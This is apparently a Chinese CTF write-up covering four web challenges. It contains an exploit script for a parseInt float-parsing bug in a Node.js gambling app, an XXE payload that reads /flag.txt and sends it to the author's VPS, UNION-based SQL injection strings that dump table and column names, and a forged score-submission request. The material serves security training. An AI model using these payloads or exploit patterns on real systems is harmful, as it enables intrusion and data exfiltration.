gamblecore server.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 const express = require ('express' );const session = require ('express-session' );const crypto = require ('crypto' );const path = require ('path' );const bodyParser = require ('body-parser' );const app = express ();const PORT = 3000 ;app.use (bodyParser.json ()); app.use (express.static (path.join (__dirname, 'public' ))); app.use ('/audio' , express.static (path.join (__dirname, 'audio' ))); app.use (session ({ secret : crypto.randomBytes (32 ).toString ('hex' ), resave : false , saveUninitialized : true , cookie : { secure : false } })); app.use ((req, res, next ) => { if (!req.session .wallet ) { req.session .wallet = { coins : 10e-6 , usd : 0 }; } next (); }); function secureRandom ( ) { return crypto.randomInt (0 , 100000000 ) / 100000000 ; } app.get ('/api/balance' , (req, res ) => { res.json ({ coins : req.session .wallet .coins , microcoins : req.session .wallet .coins * 1e6 , usd : req.session .wallet .usd }); }); app.post ('/api/gamble' , (req, res ) => { const { currency, amount } = req.body ; if (!['coins' , 'usd' ].includes (currency)) { return res.status (400 ).json ({ error : 'Invalid currency' }); } let betAmount = parseFloat (amount); if (isNaN (betAmount) || betAmount <= 0 ) { return res.status (400 ).json ({ error : 'Invalid amount' }); } const wallet = req.session .wallet ; if (currency === 'coins' ) { if (betAmount > wallet.coins ) { return res.status (400 ).json ({ error : 'Insufficient funds' }); } } else { if (betAmount > wallet.usd ) { return res.status (400 ).json ({ error : 'Insufficient funds' }); } } if (currency === 'coins' ) wallet.coins -= betAmount; else wallet.usd -= betAmount; const win = secureRandom () < 0.09 ; let winnings = 0 ; if (win) { winnings = betAmount * 10 ; if (currency === 'coins' ) wallet.coins += winnings; else wallet.usd += winnings; } res.json ({ win : win, new_balance : currency === 'coins' ? wallet.coins : wallet.usd , winnings : winnings }); }); app.post ('/api/convert' , (req, res ) => { let { amount } = req.body ; const wallet = req.session .wallet ; const coinBalance = parseInt (wallet.coins ); amount = parseInt (amount); if (isNaN (amount) || amount <= 0 ) { return res.status (400 ).json ({ error : 'Invalid amount' }); } if (amount <= coinBalance && amount > 0 ) { wallet.coins -= amount; wallet.usd += amount * 0.01 ; return res.json ({ success : true , message : `Converted ${amount} coins to $${(amount * 0.01 ).toFixed(2 )} ` }); } else { return res.status (400 ).json ({ error : 'Conversion failed.' }); } }); app.post ('/api/flag' , (req, res ) => { if (req.session .wallet .usd >= 10 ) { req.session .wallet .usd -= 10 ; res.json ({ flag : process.env .FLAG || 'EPFL{fake_flag}' }); } else { res.status (400 ).json ({ error : 'Not enough USD. You need $10.' }); } }); app.post ('/api/deposit' , (req, res ) => { res.status (503 ).json ({ error : 'Deposit unavailable at the moment' }); }); app.post ('/api/withdraw' , (req, res ) => { res.status (503 ).json ({ error : 'Withdrawal unavailable at the moment' }); }); app.listen (PORT , () => { console .log (`Server running on http://0.0.0.0:${PORT} ` ); });
漏洞点:/api/convert 使用 parseInt 处理浮点余额
1 2 3 4 5 6 7 8 9 10 11 app.post ('/api/convert' , (req, res ) => { let { amount } = req.body ; const wallet = req.session .wallet ; const coinBalance = parseInt (wallet.coins ); amount = parseInt (amount); ... if (amount <= coinBalance && amount > 0 ) { wallet.coins -= amount; wallet.usd += amount * 0.01 ; ...
问题本质:wallet.coins 是 Number。JS 在对 Number 调用 parseInt 时,会先把它转成字符串再解析。
当 wallet.coins < 1e-6 时,String(wallet.coins) 会变成科学计数法,如:9e-7 parseInt(‘9e-7’) === 9、parseInt(‘1e-7’) === 1(parseInt 遇到 e 就停了)
于是我们只要把硬币余额先打到 < 1e-6,就能在余额实际上不足 1 枚硬币的情况下,通过 /api/convert 把 1~9 枚硬币兑换为美元,从而凭空生钱,并把 coins 扣到负数。之后不断爆破,一直到有一次连续赢三把就可以。
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import requestsimport urllib3import sysurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) URL = "https://chall.polygl0ts.ch:8148" def solve (): attempts = 0 while True : attempts += 1 print (f"[*] Attempt {attempts} " ) s = requests.Session() try : bet_setup = 0.0000091 r = s.post(f"{URL} /api/gamble" , json={'currency' : 'coins' , 'amount' : bet_setup}, verify=False ) if r.json().get('win' ) is True : continue r = s.post(f"{URL} /api/convert" , json={'amount' : 9 }, verify=False ) if 'success' not in r.text: r = s.post(f"{URL} /api/convert" , json={'amount' : 8 }, verify=False ) if 'success' not in r.text: continue bal_res = s.get(f"{URL} /api/balance" , verify=False ).json() usd = bal_res['usd' ] r = s.post(f"{URL} /api/gamble" , json={'currency' : 'usd' , 'amount' : usd}, verify=False ) if not r.json().get('win' ): continue usd = r.json()['new_balance' ] r = s.post(f"{URL} /api/gamble" , json={'currency' : 'usd' , 'amount' : usd}, verify=False ) if not r.json().get('win' ): continue usd = r.json()['new_balance' ] while 1 <= usd < 10 : r = s.post(f"{URL} /api/gamble" , json={'currency' : 'usd' , 'amount' : 1 }, verify=False ) data = r.json() usd = data['new_balance' ] if data.get('win' ): break print (f"[+] current USD: {usd} " ) if usd >= 10 : r = s.post(f"{URL} /api/flag" , verify=False ) print (f"FLAG: {r.json().get('flag' )} " ) break except Exception: continue if __name__ == "__main__" : solve()
MagicAuth Le Canard du Lac vps上放一个test.dtd
1 2 3 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps:9090?flag=%file;'>">
然后监听9090端口
然后发送下面的payload即可
1 2 3 4 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://vps/test.dtd"> %remote;%int;%send; ]>
Good Ol’ Recipes 是用的模糊匹配来查询,比如可以输入%去查询,后面应该是sql注入
联合查询
1 2 3 4 5 6 7 8 9 %'union select 1,2,3,4,5# %'union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()# 表名是recipes %'union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name='recipes'# 列名有title,description,img,date,author %'union select 1,2,(select group_concat(title) from recipes),4,5#
OG-Game 1 根据snake.js中的逻辑直接发包即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /api/submit-score HTTP/2 Host: snake1.challs.m0lecon.it User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: https://snake1.challs.m0lecon.it/game Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers Content-Type: application/json Content-Length: 33 {"score":1111,"playerName":"lzm"}